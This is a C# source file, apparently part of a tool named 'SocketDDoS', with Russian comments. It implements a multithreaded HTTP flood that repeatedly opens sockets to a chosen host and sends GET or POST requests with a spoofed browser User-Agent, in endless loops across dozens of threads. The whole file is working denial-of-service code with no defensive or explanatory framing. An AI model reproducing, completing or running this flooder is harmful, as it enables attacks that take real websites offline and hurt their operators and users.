using System using System Collections Generic using System Net using S

using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Web;

namespace SocketDDoS
{
    class sHTTPFlood
    {

        
        public static string host      = string.Empty;
        public static string postData  = string.Empty;
        public static bool isSlowloris = false;

        private static int iThreads = Environment.ProcessorCount * 20;
        private static ThreadStart[] tFloodingJob;
        private static Thread[] gFloodingThread;
        private static Thread[] pFloodingThread;
        private static HTTPThreadGET[] gRequestClass;
        private static HTTPThreadPOST[] pRequestClass;


        // Начало GET Flood
        public static void StartHTTPFloodGET()
        {

            gFloodingThread = new Thread[iThreads];
            tFloodingJob = new ThreadStart[iThreads];
            gRequestClass = new HTTPThreadGET[iThreads];
            
            for (int i = 0; i < iThreads; i++)
            {
                gRequestClass[i] = new HTTPThreadGET(host, isSlowloris);
                tFloodingJob[i] = new ThreadStart(gRequestClass[i].ProcessFlood);
                gFloodingThread[i] = new Thread(tFloodingJob[i]);
                gFloodingThread[i].Start();
            }
            
        }

        // -------------------------------------------------------------------------------------------------

        // Остоновка GET Флуда
        public static void StopHTTPFloodGET()
        {
            for (int i = 0; i < iThreads; i++)
            {
                try
                {
                    gFloodingThread[i].Abort();
                    gFloodingThread[i].Join();
                }catch { }
            }
        }

        // -------------------------------------------------------------------------------------------------

        public static void StartHTTPFloodPOST()
        {

            pFloodingThread = new Thread[iThreads];
            tFloodingJob = new ThreadStart[iThreads];
            pRequestClass = new HTTPThreadPOST[iThreads];

            for (int i = 0; i < iThreads; i++)
            {
                pRequestClass[i] = new HTTPThreadPOST(host, postData, isSlowloris);
                tFloodingJob[i] = new ThreadStart(pRequestClass[i].ProcessFlood);
                pFloodingThread[i] = new Thread(tFloodingJob[i]);
                pFloodingThread[i].Start();
            }

        }

        // Остоновка GET Флуда
        public static void StopHTTPFloodPOST()
        {
            for (int i = 0; i < iThreads; i++)
            {
                try
                {
                    pFloodingThread[i].Abort();
                    pFloodingThread[i].Join();
                }
                catch { }
            }
        }

        // -------------------------------------------------------------------------------------------------

        // HTTP GET REQUSET
        private class HTTPThreadGET
        {

            const string NewLine = "\r\n";

            private string hostAdr = string.Empty;
            private string PathAndQuery = string.Empty;
            private IPAddress hostIP;
            private int hostPort = 80;
            private IPEndPoint ipPoint_0;
            private byte[] buf;
            private int socketConnect = 0;
            private bool isSlowloris = false;

            public HTTPThreadGET(string host, bool IsSlowloris) 
            {
                this.isSlowloris = IsSlowloris;

                // Подготовка данных для создания подключения
                if (!host.StartsWith("http://") && !host.StartsWith("https://"))
                {
                    host = "http://" + host;
                }

                Uri parseUri = new Uri(host);

                hostAdr      = parseUri.Host;
                PathAndQuery = parseUri.PathAndQuery;
                hostPort     = 80;
                hostIP       = Dns.GetHostEntry(hostAdr).AddressList[0];

                ipPoint_0 = new IPEndPoint(hostIP, hostPort);
   
                // Подготовка пакета к отправки
                StringBuilder strb = new StringBuilder();
                strb.Append("GET " + PathAndQuery + " HTTP/1.1" + NewLine);
                strb.Append("Host: " + hostAdr + NewLine);
                strb.Append("Connection: keep-alive" + NewLine);
                strb.Append("Pragma: no-cache" + NewLine);
                strb.Append("Cache-Control: no-cache" + NewLine);
                strb.Append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" + NewLine);
                strb.Append("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7" + NewLine);
                strb.Append(NewLine);
                buf = Encoding.ASCII.GetBytes(strb.ToString());
            }


            // Создания подключения
            public  void ProcessFlood()
            {
                
                while (true)
                {
                    try
                    {
                        Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.DontLinger, true);
                        socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 0);
                        socket.Connect(ipPoint_0);
                        socket.Blocking = true;
                        socket.Send(buf, SocketFlags.None);
						
                        socket.Close();
                    }
                    catch{}

                    Thread.Sleep(0x23);

                    if (socketConnect == 50000)
                    {
                        socketConnect = 0;
                        GC.Collect();
                        
                    }
                }

            }
        }

        // -------------------------------------------------------------------------------------------------

        // HTTP POST REQUSET
        private class HTTPThreadPOST
        {

            const string NewLine = "\r\n";

            private string hostAdr = string.Empty;
            private string PathAndQuery = string.Empty;
            private IPAddress hostIP;
            private int hostPort = 80;
            private IPEndPoint ipPoint_0;
            private byte[] buf;
            private int socketConnect = 0;
            private string PostData;
            private bool isSlowloris = false;

            public HTTPThreadPOST(string host, string postData, bool cIsSlowloris)
            {
                this.isSlowloris = cIsSlowloris;
                this.PostData    = postData;
                // Подготовка данных для создания подключения
                if (!host.StartsWith("http://") && !host.StartsWith("https://"))
                {
                    host = "http://" + host;
                }

                Uri parseUri = new Uri(host);

                hostAdr = parseUri.Host;
                PathAndQuery = parseUri.PathAndQuery;
                hostPort = parseUri.Port;
                hostIP = Dns.GetHostEntry(hostAdr).AddressList[0];

                ipPoint_0 = new IPEndPoint(hostIP, hostPort);

                // Подготовка пакета к отправки
                StringBuilder strb = new StringBuilder();
                strb.Append("POST " + PathAndQuery + " HTTP/1.1" + NewLine);
                strb.Append("Host: " + hostAdr + NewLine);
                strb.Append("Connection: keep-alive" + NewLine);
                strb.Append("Content-Length: " + Encoding.UTF8.GetByteCount(postData).ToString() + NewLine);
                strb.Append("Pragma: no-cache" + NewLine);
                strb.Append("Cache-Control: no-cache" + NewLine);
                strb.Append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" + NewLine);
                strb.Append("Origin: http://" + hostAdr + NewLine);
                strb.Append("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7" + NewLine);
                strb.Append("Content-Type: application/x-www-form-urlencoded" + NewLine);
                strb.Append("Referer: http://" + hostAdr + NewLine);
                strb.Append(NewLine);
                
                // POST данные
                strb.Append(postData + NewLine);
                strb.Append(NewLine);

                buf = Encoding.ASCII.GetBytes(strb.ToString());
            }


            // Создания подключения
            public void ProcessFlood()
            {

                while (true)
                {
                    try
                    {
                        Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.DontLinger, true);
                        socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 0);
                        socket.Connect(ipPoint_0);
                        socket.Blocking = true;
                        socket.Send(buf, buf.Length, 0);
                        socket.Close();
                        
                    }
                    catch { }

                    Thread.Sleep(0x23);

                    if (socketConnect == 50000)
                    {
                        socketConnect = 0;
                        GC.Collect();

                    }
                }

            }
        }

        // -------------------------------------------------------------------------------------------------
    }
}